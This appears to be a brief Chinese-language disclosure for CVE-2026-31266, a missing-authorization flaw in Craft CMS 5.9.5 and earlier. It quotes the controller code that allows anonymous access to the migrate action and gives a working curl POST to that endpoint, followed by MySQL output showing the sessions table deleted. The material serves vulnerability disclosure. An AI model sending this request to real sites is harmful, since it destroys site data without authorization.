| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-31266 |
| 供应商 | Pixel & Tonic |
| 产品 | Craft CMS |
| 受影响版本 | <= 5.9.5 |
| CWE | CWE-862 (缺少授权) |
| CVSS | 7.3 (High) |
| 安全研究员 | 0xRIXET |
screenshots/ - 概念验证演示文件: src/controllers/AppController.php
行 65-68:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# 当 allowAdminChanges=false 时
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist